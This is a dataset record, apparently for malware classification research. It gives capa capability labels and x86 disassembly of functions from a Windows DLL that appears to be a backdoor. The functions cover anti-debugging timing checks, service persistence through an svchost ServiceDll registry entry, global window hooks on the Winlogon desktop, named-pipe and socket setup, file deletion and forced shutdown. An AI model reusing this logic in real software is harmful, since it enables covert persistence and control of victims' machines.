joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009710
Capabilities:
Check for time delay via queryperformancecounter
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x10009727
push ebp
adc byte [ecx], 0x58
pop eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x20], eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
push 0x10
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x28]
push eax
call fcn.1000ef20
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
adc edx, dword [ebp - 0xc]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
rdtsc
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x24]
jg 0x100097cc
jl 0x100097c0
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x28]
jae 0x100097cc
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
jmp 0x100097ae
rdtsc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
sbb eax, dword [ebp - 4]
push 0
push 0xf424
push eax
push edx
call fcn.1000ef20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100098e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x100098f7
push ebp
adc byte [ecx], 0x58
pop eax
push 0
push 0x80
push 3
push 0
push 1
push accept
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x10009921
xor eax, eax
jmp 0x10009976
push 2
push 0
push 0xfffff6b0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
push 0x950
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x18
push 0x950
mov eax, dword [ebp + 0xc]
push eax
call fcn.10009440
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009980
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000999a
push ebp
adc byte [ecx], 0x58
pop eax
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 8]
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100099cc
xor eax, eax
jmp 0x10009a55
mov byte [ebp - 0x408], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x407]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x40c], 0x3fc
lea edx, [ebp - 0x40c]
push edx
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp + 0x14]
push ecx
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10009a28
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x10009a55
lea edx, [ebp - 0x408]
push edx
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10009a50
xor eax, eax
jmp 0x10009a55
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009b80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x10009b97
push ebp
adc byte [ecx], 0x58
pop eax
push 0
push 0x80
push 3
push 0
push 1
push accept
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x10009bc1
xor eax, eax
jmp 0x10009bef
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009c00
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x10009c17
push ebp
adc byte [ecx], 0x58
pop eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x10009c4b
xor eax, eax
jmp 0x10009c79
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009fc0
Capabilities:
Connect pipe
Create pipe
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x10009fda
push ebp
adc byte [ecx], 0x58
pop eax
push 0x10013a94
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 0x108], eax
mov eax, dword [str..pipe_]
mov dword [ebp - 0x100], eax
mov ecx, dword [0x10012120]
mov dword [ebp - 0xfc], ecx
mov dx, word [0x10012124]
mov word [ebp - 0xf8], dx
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0xf6]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x10013a94
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0xffffffffffffffff
push 0x47c
push 0x47c
push 0xff
push 6
push 3
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0xffffffff
jne 0x1000a075
xor eax, eax
jmp 0x1000a10d
push 0
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x1000a098
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
mov ecx, dword [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x1000a0b7
mov dword [ebp - 0x110], 1
jmp 0x1000a0cd
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
cmp eax, 0x217
sete dl
mov dword [ebp - 0x110], edx
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x1000a0fb
mov ecx, dword [ebp - 0x104]
push ecx
push 0
push 0x10009e00
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp 0x1000a108
mov edx, dword [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000a03b
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a120
Capabilities:
Connect pipe
Create tcp socket
Create udp socket
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x584
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000a13a
push ebp
adc byte [ecx], 0x58
pop eax
mov byte [ebp - 0x410], 0
mov ecx, 0xc1
xor eax, eax
lea edi, [ebp - 0x40f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x310]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x110], edx
mov dword [ebp - 0x10c], 0x232a
mov dword [ebp - 0x584], 0
mov ecx, 0x5c
xor eax, eax
lea edi, [ebp - 0x580]
rep stosd dword es:[edi], eax
mov eax, dword [str..pipe_]
mov dword [ebp - 0x104], eax
mov ecx, dword [0x10012120]
mov dword [ebp - 0x100], ecx
mov dx, word [0x10012124]
mov word [ebp - 0xfc], dx
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0xfa]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x10013a94
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 4], 0
push 0xffffffffffffffff
lea ecx, [ebp - 4]
push ecx
push 0x174
lea edx, [ebp - 0x584]
push edx
push 0x308
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
test eax, eax
jne 0x1000a213
xor eax, eax
jmp 0x1000a243
push 1
push 0
lea edx, [ebp - 0x584]
push edx
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
sub eax, 0xffffffff
neg eax
sbb eax, eax
and eax, dword [ebp - 0x108]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a250
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000a264
push ebp
adc byte [ecx], 0x58
pop eax
push 0
push 0
push 0x1000ccb0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
call fcn.10009fc0
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1000a430
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000a447
push ebp
adc byte [ecx], 0x58
pop eax
mov ecx, 0x254
mov esi, dword [ebp + 8]
mov edi, 0x10013820
rep movsd dword es:[edi], dword [esi]
push 0x2000000
push 0
push str.WinSta0
call dword [sym.imp.USER32.dll_OpenWindowStationA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000a47c
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetProcessWindowStation]
push 0
push 0x2000000
push 0
push 0
push 0
push str.Default
call dword [sym.imp.USER32.dll_CreateDesktopA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a4a7
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x1001382c], 0
jbe 0x1000a4b5
call fcn.1000b440
cmp dword [0x10013828], 0
je 0x1000a4d4
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10013c62
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x10013814], eax
mov dword [ebp - 0x14], 0
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x14], 0xc
push 0x10013a94
push 0
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x100125e4], eax
cmp dword [0x10013834], 0
je 0x1000a531
push 0
push 0
push fcn.1000a250
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp 0x1000a543
push 0
push 0
push 0x1000a300
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
call fcn.1000cde0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1000a7d0
Capabilities:
Create service
Get common file path
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000a7ea
push ebp
adc byte [ecx], 0x58
pop eax
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x208], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0
jne 0x1000a825
or eax, 0xffffffff
jmp 0x1000a8d2
mov byte [ebp - 0x200], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x1ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xc8
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str._svchost.exe__k
lea ecx, [ebp - 0x200]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x200]
push ecx
push 1
push 2
push 0x110
push 0xf01ff
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x204]
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0
je 0x1000a8c3
mov edx, dword [ebp - 0x208]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x204]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a970
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000a98a
push ebp
adc byte [ecx], 0x58
pop eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a9ce
jmp 0x1000aa3c
mov byte [ebp - 0x208], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x20c], eax
mov eax, dword [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x208]
push ecx
push 2
push 0
push str.ServiceDll
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000aa50
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000aa67
push ebp
adc byte [ecx], 0x58
pop eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000aaa5
jmp 0x1000aad4
mov dword [ebp - 0xc], 4
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp + 0xc]
push ecx
push 4
push 0
push str.Start
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000aae0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000aafa
push ebp
adc byte [ecx], 0x58
pop eax
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x204]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0
je 0x1000ab4a
jmp 0x1000abbe
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x20c], eax
mov byte [ebp - 0x200], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x1ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x200]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x200]
push ecx
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x204]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0x204]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000abd0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000abea
push ebp
adc byte [ecx], 0x58
pop eax
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x204]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0
je 0x1000ac3b
jmp 0x1000acae
mov byte [ebp - 0x200], 0
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x1ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 2
mov dword [ebp - 0x20c], eax
mov edx, dword [ebp - 0x20c]
push edx
lea eax, [ebp - 0x200]
push eax
push 7
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x204]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0x204]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b350
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000b367
push ebp
adc byte [ecx], 0x58
pop eax
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push 0x10013f62
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000b392
xor eax, eax
jmp 0x1000b3d0
push 2
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000b440
Capabilities:
Set global application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000b457
push ebp
adc byte [ecx], 0x58
pop eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
push str.Default
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000b48f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10013008], 0
jne 0x1000b4b3
push 0
mov ecx, dword [0x100125d8]
push ecx
push 0x1000b250
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10013008], eax
cmp dword [0x10013004], 0
jne 0x1000b4d7
push 0
mov edx, dword [0x100125d8]
push edx
push 0x1000b1a0
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10013004], eax
push 0x2000000
push 0
push 0
push str.Winlogon
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000b4fe
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x1001300c], 0
jne 0x1000b522
push 0
mov ecx, dword [0x100125d8]
push ecx
push 0x1000b1a0
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x1001300c], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c3c0
Capabilities:
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000c3d4
push ebp
adc byte [ecx], 0x58
pop eax
mov dword [0x10014168], 1
call fcn.1000b3e0
push 0x10013a94
call fcn.1000a8e0
add esp, 4
call fcn.10009170
push 0x10013f62
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x10014062
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x10013e62
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
mov eax, dword [0x100125e0]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [0x1001416c]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000c680
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000c697
push ebp
adc byte [ecx], 0x58
pop eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.1000e450
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000c6bb
jmp 0x1000c762
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
sub eax, 0x1f41
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xe
ja case.0x1000c6e3.5
mov edx, dword [ebp - 8]
xor ecx, ecx
mov cl, byte [edx + 0x1000c781]
jmp dword [ecx*4 + 0x1000c769]
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1000b860
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp 0x1000c762
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x1000b920
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp 0x1000c762
mov edx, dword [ebp - 4]
push edx
push 0
push 0x1000b9e0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp 0x1000c762
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1000bad0
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp 0x1000c762
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x1000bc80
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
jmp 0x1000c762
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c790
Capabilities:
Shutdown system
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x1000c7a7
push ebp
adc byte [ecx], 0x58
pop eax
mov dword [ebp - 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], 2
push 2
call dword [sym.imp.ADVAPI32.dll_ImpersonateSelf]
lea eax, [ebp - 0x20]
push eax
push 1
push 0x20
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
push 0
push 0
push 0x10
lea edx, [ebp - 0x1c]
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
cmp dword [ebp + 8], 0
je 0x1000c81e
push 4
push 8
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x1000c828
push 4
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov dword [0x10014168], 1
push 0
mov ecx, dword [0x100125e0]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]